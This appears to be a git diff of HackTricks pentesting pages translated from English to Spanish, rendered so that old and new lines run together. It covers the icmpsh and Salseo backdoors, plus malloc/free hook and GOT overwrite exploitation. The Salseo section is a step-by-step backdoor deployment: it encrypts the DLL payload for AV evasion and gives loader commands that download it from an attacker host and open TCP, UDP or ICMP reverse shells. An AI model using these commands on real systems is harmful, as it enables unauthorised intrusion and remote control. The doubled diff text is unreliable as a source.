**SerpApi** ofrece APIs rápidas y fáciles en tiempo real para **acceder a resultados de motores de búsqueda**. Ellos scrapean motores de búsqueda, manejan proxies, resuelven captchas y analizan todos los datos estructurados ricos por ti. **SerpApi** ofrece APIs rápidas y fáciles en tiempo real para **acceder a resultados de motores de búsqueda**. Ellos extraen datos de motores de búsqueda, manejan proxies, resuelven captchas y analizan todos los datos estructurados ricos por ti.
Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para scrapeo de diferentes motores de búsqueda, incluyendo Google, Bing, Baidu, Yahoo, Yandex, y más.\ Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para extraer datos de diferentes motores de búsqueda, incluyendo Google, Bing, Baidu, Yahoo, Yandex, y más.\
A diferencia de otros proveedores, **SerpApi no solo scrapea resultados orgánicos**. Las respuestas de SerpApi incluyen consistentemente todos los anuncios, imágenes y videos en línea, gráficos de conocimiento y otros elementos y características presentes en los resultados de búsqueda. A diferencia de otros proveedores, **SerpApi no solo extrae resultados orgánicos**. Las respuestas de SerpApi incluyen consistentemente todos los anuncios, imágenes y videos en línea, gráficos de conocimiento y otros elementos y características presentes en los resultados de búsqueda.
Los clientes actuales de SerpApi incluyen **Apple, Shopify y GrubHub**.\ Los clientes actuales de SerpApi incluyen **Apple, Shopify y GrubHub**.\
Para más información, consulta su [**blog**](https://serpapi.com/blog/)**,** o prueba un ejemplo en su [**playground**](https://serpapi.com/playground)**.**\ Para más información, consulta su [**blog**](https://serpapi.com/blog/)**,** o prueba un ejemplo en su [**playground**](https://serpapi.com/playground)**.**\

View File

@ -868,3 +868,4 @@
- [Cookies Policy](todo/cookies-policy.md) - [Cookies Policy](todo/cookies-policy.md)

View File

@ -12,7 +12,7 @@ Para comenzar a extraer datos de un dispositivo Android, debe estar desbloqueado
## Adquisición de Datos ## Adquisición de Datos
Crea un [respaldo de android usando adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) y extráelo usando [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar` Crea un [android backup usando adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) y extráelo usando [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
### Si hay acceso root o conexión física a la interfaz JTAG ### Si hay acceso root o conexión física a la interfaz JTAG

View File

@ -1,31 +1,25 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) Descarga el backdoor desde: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
# Client side # Lado del cliente
Execute the script: **run.sh** Ejecuta el script: **run.sh**
**If you get some error, try to change the lines:**
**Si obtienes algún error, intenta cambiar las líneas:**
```bash ```bash
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
``` ```
**Para:**
**For:**
```bash ```bash
echo Please insert the IP where you want to listen echo Please insert the IP where you want to listen
read IP read IP
``` ```
# **Lado de la Víctima**
# **Victim Side** Sube **icmpsh.exe** a la víctima y ejecuta:
Upload **icmpsh.exe** to the victim and execute:
```bash ```bash
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128 icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
``` ```
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,159 +2,142 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Compiling the binaries ## Compilando los binarios
Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code. Descarga el código fuente desde github y compila **EvilSalsa** y **SalseoLoader**. Necesitarás tener **Visual Studio** instalado para compilar el código.
Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures). Compila esos proyectos para la arquitectura de la caja de Windows donde los vas a usar (Si Windows soporta x64, compílalos para esa arquitectura).
You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".** Puedes **seleccionar la arquitectura** dentro de Visual Studio en la **pestaña "Build" izquierda** en **"Platform Target".**
(\*\*If you can't find this options press in **"Project Tab"** and then in **"\<Project Name> Properties"**) (\*\*Si no puedes encontrar estas opciones, presiona en **"Project Tab"** y luego en **"\<Project Name> Properties"**)
![](<../images/image (132).png>) ![](<../images/image (132).png>)
Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable): Luego, construye ambos proyectos (Build -> Build Solution) (Dentro de los registros aparecerá la ruta del ejecutable):
![](<../images/image (1) (2) (1) (1) (1).png>) ![](<../images/image (1) (2) (1) (1) (1).png>)
## Prepare the Backdoor ## Preparar el Backdoor
First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**: Primero que nada, necesitarás codificar el **EvilSalsa.dll.** Para hacerlo, puedes usar el script de python **encrypterassembly.py** o puedes compilar el proyecto **EncrypterAssembly**:
### **Python** ### **Python**
``` ```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE> python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
``` ```
### Windows ### Windows
``` ```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE> EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
``` ```
Ok, ahora tienes todo lo que necesitas para ejecutar todo lo relacionado con Salseo: el **EvilDalsa.dll codificado** y el **binario de SalseoLoader.**
Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.** **Sube el binario SalseoLoader.exe a la máquina. No deberían ser detectados por ningún AV...**
**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...** ## **Ejecutar el backdoor**
## **Execute the backdoor** ### **Obteniendo un shell reverso TCP (descargando dll codificada a través de HTTP)**
### **Getting a TCP reverse shell (downloading encoded dll through HTTP)**
Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa.
Recuerda iniciar un nc como el listener del shell reverso y un servidor HTTP para servir el evilsalsa codificado.
``` ```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port> SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
``` ```
### **Obteniendo un shell reverso UDP (descargando dll codificada a través de SMB)**
### **Getting a UDP reverse shell (downloading encoded dll through SMB)** Recuerda iniciar un nc como el oyente del shell reverso y un servidor SMB para servir el evilsalsa codificado (impacket-smbserver).
Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver).
``` ```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port> SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
``` ```
### **Obteniendo un shell reverso ICMP (dll codificada ya dentro de la víctima)**
### **Getting a ICMP reverse shell (encoded dll already inside the victim)** **Esta vez necesitas una herramienta especial en el cliente para recibir el shell reverso. Descarga:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Disable ICMP Replies:**
#### **Desactivar respuestas ICMP:**
``` ```
sysctl -w net.ipv4.icmp_echo_ignore_all=1 sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running: #You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0 sysctl -w net.ipv4.icmp_echo_ignore_all=0
``` ```
#### Ejecutar el cliente:
#### Execute the client:
``` ```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>" python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
``` ```
#### Dentro de la víctima, ejecutemos la cosa de salseo:
#### Inside the victim, lets execute the salseo thing:
``` ```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP> SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
``` ```
## Compilando SalseoLoader como DLL exportando la función principal
## Compiling SalseoLoader as DLL exporting main function Abre el proyecto SalseoLoader usando Visual Studio.
Open the SalseoLoader project using Visual Studio. ### Agrega antes de la función principal: \[DllExport]
### Add before the main function: \[DllExport]
![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Install DllExport for this project ### Instala DllExport para este proyecto
#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...** #### **Herramientas** --> **Administrador de paquetes NuGet** --> **Administrar paquetes NuGet para la solución...**
![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)** #### **Busca el paquete DllExport (usando la pestaña Examinar), y presiona Instalar (y acepta el popup)**
![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat** En tu carpeta de proyecto han aparecido los archivos: **DllExport.bat** y **DllExport_Configure.bat**
### **U**ninstall DllExport ### **Des**instalar DllExport
Press **Uninstall** (yeah, its weird but trust me, it is necessary) Presiona **Desinstalar** (sí, es raro pero confía en mí, es necesario)
![](<../images/image (5) (1) (1) (2) (1).png>) ![](<../images/image (5) (1) (1) (2) (1).png>)
### **Exit Visual Studio and execute DllExport_configure** ### **Sal de Visual Studio y ejecuta DllExport_configure**
Just **exit** Visual Studio Simplemente **sal** de Visual Studio
Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat** Luego, ve a tu **carpeta SalseoLoader** y **ejecuta DllExport_Configure.bat**
Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply** Selecciona **x64** (si vas a usarlo dentro de una caja x64, ese fue mi caso), selecciona **System.Runtime.InteropServices** (dentro de **Namespace for DllExport**) y presiona **Aplicar**
![](<../images/image (7) (1) (1) (1) (1).png>) ![](<../images/image (7) (1) (1) (1) (1).png>)
### **Open the project again with visual Studio** ### **Abre el proyecto nuevamente con Visual Studio**
**\[DllExport]** should not be longer marked as error **\[DllExport]** no debería estar marcado como error
![](<../images/image (8) (1).png>) ![](<../images/image (8) (1).png>)
### Build the solution ### Compila la solución
Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library) Selecciona **Tipo de salida = Biblioteca de clases** (Proyecto --> Propiedades de SalseoLoader --> Aplicación --> Tipo de salida = Biblioteca de clases)
![](<../images/image (10) (1).png>) ![](<../images/image (10) (1).png>)
Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64) Selecciona **plataforma x64** (Proyecto --> Propiedades de SalseoLoader --> Compilación --> Objetivo de plataforma = x64)
![](<../images/image (9) (1) (1).png>) ![](<../images/image (9) (1) (1).png>)
To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear) Para **compilar** la solución: Compilar --> Compilar solución (Dentro de la consola de salida aparecerá la ruta de la nueva DLL)
### Test the generated Dll ### Prueba la Dll generada
Copy and paste the Dll where you want to test it. Copia y pega la Dll donde quieras probarla.
Execute:
Ejecuta:
``` ```
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
Si no aparece ningún error, ¡probablemente tengas un DLL funcional!
If no error appears, probably you have a functional DLL!! ## Obtén un shell usando el DLL
## Get a shell using the DLL No olvides usar un **servidor** **HTTP** y configurar un **listener** **nc**
Don't forget to use a **HTTP** **server** and set a **nc** **listener**
### Powershell ### Powershell
``` ```
$env:pass="password" $env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt" $env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
@ -163,9 +146,7 @@ $env:lport="1337"
$env:shell="reversetcp" $env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
### CMD ### CMD
``` ```
set pass=password set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -174,5 +155,4 @@ set lport=1337
set shell=reversetcp set shell=reversetcp
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -1,13 +1,13 @@
> [!TIP] > [!TIP]
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\ > Aprende y practica AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;"> > Aprende y practica GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> >
> <details> > <details>
> >
> <summary>Support HackTricks</summary> > <summary>Apoya a HackTricks</summary>
> >
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! > - Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** > - **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. > - **Comparte trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
> >
> </details> > </details>

View File

@ -1,3 +1 @@
# Arbitrary Write 2 Exec # Escritura Arbitraria 2 Exec

View File

@ -4,34 +4,32 @@
## **Malloc Hook** ## **Malloc Hook**
As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**. Como se puede ver en [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), la variable **`__malloc_hook`** es un puntero que apunta a la **dirección de una función que será llamada** cada vez que se llame a `malloc()`, **almacenada en la sección de datos de la biblioteca libc**. Por lo tanto, si esta dirección se sobrescribe con un **One Gadget**, por ejemplo, y se llama a `malloc`, se **llamará al One Gadget**.
To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap. Para llamar a malloc, es posible esperar a que el programa lo llame o **llamando a `printf("%10000$c")`**, lo que asigna demasiados bytes, haciendo que `libc` llame a malloc para asignarlos en el heap.
More info about One Gadget in: Más información sobre One Gadget en:
{{#ref}} {{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md ../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}} {{#endref}}
> [!WARNING] > [!WARNING]
> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). > Tenga en cuenta que los hooks están **deshabilitados para GLIBC >= 2.34**. Hay otras técnicas que se pueden usar en versiones modernas de GLIBC. Ver: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
## Free Hook ## Free Hook
This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack: Esto fue abusado en uno de los ejemplos de la página abusando de un ataque de fast bin después de haber abusado de un ataque de unsorted bin:
{{#ref}} {{#ref}}
../libc-heap/unsorted-bin-attack.md ../libc-heap/unsorted-bin-attack.md
{{#endref}} {{#endref}}
It's posisble to find the address of `__free_hook` if the binary has symbols with the following command: Es posible encontrar la dirección de `__free_hook` si el binario tiene símbolos con el siguiente comando:
```bash ```bash
gef➤ p &__free_hook gef➤ p &__free_hook
``` ```
[En la publicación](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) puedes encontrar una guía paso a paso sobre cómo localizar la dirección del free hook sin símbolos. Como resumen, en la función free:
[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function:
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free <pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
0xf75dedc0 &#x3C;free>: push ebx 0xf75dedc0 &#x3C;free>: push ebx
@ -45,26 +43,26 @@ gef➤ p &__free_hook
0xf75deddd &#x3C;free+29>: jne 0xf75dee50 &#x3C;free+144> 0xf75deddd &#x3C;free+29>: jne 0xf75dee50 &#x3C;free+144>
</code></pre> </code></pre>
In the mentioned break in the previous code in `$eax` will be located the address of the free hook. En el punto de ruptura mencionado en el código anterior, en `$eax` se ubicará la dirección del free hook.
Now a **fast bin attack** is performed: Ahora se realiza un **ataque de fast bin**:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: - En primer lugar, se descubre que es posible trabajar con **chunks de tamaño 200** en la ubicación de **`__free_hook`**:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook - <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook> $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 <strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 </strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre> </code></pre>
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed - Si logramos obtener un fast chunk de tamaño 0x200 en esta ubicación, será posible sobrescribir un puntero de función que se ejecutará.
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. - Para esto, se crea un nuevo chunk de tamaño `0xfc` y se llama a la función combinada con ese puntero dos veces, de esta manera obtenemos un puntero a un chunk liberado de tamaño `0xfc*2 = 0x1f8` en el fast bin.
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. - Luego, se llama a la función de edición en este chunk para modificar la dirección **`fd`** de este fast bin para que apunte a la función **`__free_hook`** anterior.
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. - Después, se crea un chunk de tamaño `0x1f8` para recuperar del fast bin el chunk inútil anterior, de modo que se crea otro chunk de tamaño `0x1f8` para obtener un fast bin chunk en el **`__free_hook`** que se sobrescribe con la dirección de la función **`system`**.
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. - Y finalmente, se libera un chunk que contiene la cadena `/bin/sh\x00` llamando a la función de eliminación, activando la función **`__free_hook`** que apunta a system con `/bin/sh\x00` como parámetro.
## References ## Referencias
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).

View File

@ -2,86 +2,86 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## **Basic Information** ## **Información Básica**
### **GOT: Global Offset Table** ### **GOT: Tabla de Desplazamiento Global**
The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved. La **Tabla de Desplazamiento Global (GOT)** es un mecanismo utilizado en binarios vinculados dinámicamente para gestionar las **direcciones de funciones externas**. Dado que estas **direcciones no se conocen hasta el tiempo de ejecución** (debido al enlace dinámico), la GOT proporciona una forma de **actualizar dinámicamente las direcciones de estos símbolos externos** una vez que se resuelven.
Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again. Cada entrada en la GOT corresponde a un símbolo en las bibliotecas externas que el binario puede llamar. Cuando se **llama a una función por primera vez, su dirección real es resuelta por el enlazador dinámico y almacenada en la GOT**. Las llamadas posteriores a la misma función utilizan la dirección almacenada en la GOT, evitando así el costo de resolver la dirección nuevamente.
### **PLT: Procedure Linkage Table** ### **PLT: Tabla de Enlace de Procedimientos**
The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**. La **Tabla de Enlace de Procedimientos (PLT)** trabaja en estrecha colaboración con la GOT y sirve como un trampolín para manejar llamadas a funciones externas. Cuando un binario **llama a una función externa por primera vez, el control se pasa a una entrada en la PLT asociada con esa función**. Esta entrada de la PLT es responsable de invocar al enlazador dinámico para resolver la dirección de la función si aún no se ha resuelto. Después de que se resuelve la dirección, se almacena en la **GOT**.
**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker. **Por lo tanto,** las entradas de la GOT se utilizan directamente una vez que se resuelve la dirección de una función o variable externa. **Las entradas de la PLT se utilizan para facilitar la resolución inicial** de estas direcciones a través del enlazador dinámico.
## Get Execution ## Obtener Ejecución
### Check the GOT ### Verificar la GOT
Get the address to the GOT table with: **`objdump -s -j .got ./exec`** Obtén la dirección de la tabla GOT con: **`objdump -s -j .got ./exec`**
![](<../../images/image (121).png>) ![](<../../images/image (121).png>)
Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT` Observa cómo después de **cargar** el **ejecutable** en GEF puedes **ver** las **funciones** que están en la **GOT**: `gef➤ x/20x 0xADDR_GOT`
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) ![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table: Usando GEF puedes **iniciar** una sesión de **depuración** y ejecutar **`got`** para ver la tabla got:
![](<../../images/image (496).png>) ![](<../../images/image (496).png>)
### GOT2Exec ### GOT2Exec
In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example. En un binario, la GOT tiene las **direcciones a las funciones o** a la **sección PLT** que cargará la dirección de la función. El objetivo de esta escritura arbitraria es **sobrescribir una entrada de la GOT** de una función que se va a ejecutar más tarde **con** la **dirección** de la PLT de la **función** **`system`** por ejemplo.
Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function). Idealmente, deberías **sobrescribir** la **GOT** de una **función** que va a ser **llamada con parámetros controlados por ti** (así podrás controlar los parámetros enviados a la función del sistema).
If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address. Si **`system`** **no es utilizado** por el binario, la función del sistema **no** tendrá una entrada en la PLT. En este escenario, necesitarás **filtrar primero la dirección** de la función `system` y luego sobrescribir la GOT para apuntar a esta dirección.
You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`** Puedes ver las direcciones de la PLT con **`objdump -j .plt -d ./vuln_binary`**
## libc GOT entries ## Entradas de la GOT de libc
The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). La **GOT de libc** generalmente se compila con **RELRO parcial**, lo que la convierte en un buen objetivo para esto suponiendo que sea posible averiguar su dirección ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution. Las funciones comunes de la libc van a llamar a **otras funciones internas** cuya GOT podría ser sobrescrita para obtener ejecución de código.
Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). Encuentra [**más información sobre esta técnica aquí**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
### **Free2system** ### **Free2system**
In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`. En la explotación de heap en CTFs es común poder controlar el contenido de los chunks y en algún momento incluso sobrescribir la tabla GOT. Un truco simple para obtener RCE si no hay gadgets disponibles es sobrescribir la dirección GOT de `free` para apuntar a `system` y escribir dentro de un chunk `"/bin/sh"`. De esta manera, cuando este chunk se libera, ejecutará `system("/bin/sh")`.
### **Strlen2system** ### **Strlen2system**
Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell. Otra técnica común es sobrescribir la dirección GOT de **`strlen`** para apuntar a **`system`**, así si esta función es llamada con entrada del usuario es posible pasar la cadena `"/bin/sh"` y obtener un shell.
